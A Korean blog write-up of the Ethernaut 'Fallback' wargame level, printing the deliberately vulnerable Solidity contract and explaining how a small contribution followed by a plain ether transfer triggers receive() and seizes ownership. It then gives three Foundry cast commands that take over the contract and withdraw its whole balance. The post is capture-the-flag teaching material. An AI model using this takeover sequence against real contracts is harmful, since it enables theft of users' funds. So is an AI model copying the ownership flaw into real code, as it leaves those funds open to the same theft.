[ethernaut] Fallback

wooz3k.eth·2022년 12월 23일
0
post-custom-banner
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

이 문제는 위 컨트렉트에 owner가 되어 withdraw 함수를 호출하여 모든 이더를 빼내면 풀리는 문제이다.

Owner가 되기 위한 조건

  • receive 를 보면 require(msg.value > 0 && contributions[msg.sender] > 0); 이 require문만 통과하게 되면 owner가 될 수 있는 것을 확인할 수 있다.
  • contributions[msg.sender] 값을 증가시키기 위해서는 contribute 함수를 이더와 함께 호출하여야 되는 것을 확인할 수 있다.
  • contributions[msg.sender] > 0 을 만들었다면 receive를 이더와 함께 호출하면 owner가 될 수 있다.

풀이

  1. contribute{value: 0.00001 ether}()
  2. receive 함수 ether와 함께 호출
  3. withdraw 함수 호출

foundry를 이용하여 풀이하였다.

cast send --private-key $P_KEY --rpc-url $G_RPC 0x4BE63fD5FE3378B322BFDFD53aEe08055514782f "contribute()" --value 0.00001ether

contribute[msg.sender] += 0.00001 ether

cast send --private-key $P_KEY --rpc-url $G_RPC 0x4BE63fD5FE3378B322BFDFD53aEe08055514782f --value 0.00001ether

receive 호출 ( value: 0.00001 ether)
Owner get

cast send --private-key $P_KEY --rpc-url $G_RPC 0x4BE63fD5FE3378B322BFDFD53aEe08055514782f "withdraw()"

withdraw()로 컨트렉트 모든 balance get

profile
Theori ChainLight Web3 Researcher
post-custom-banner

0개의 댓글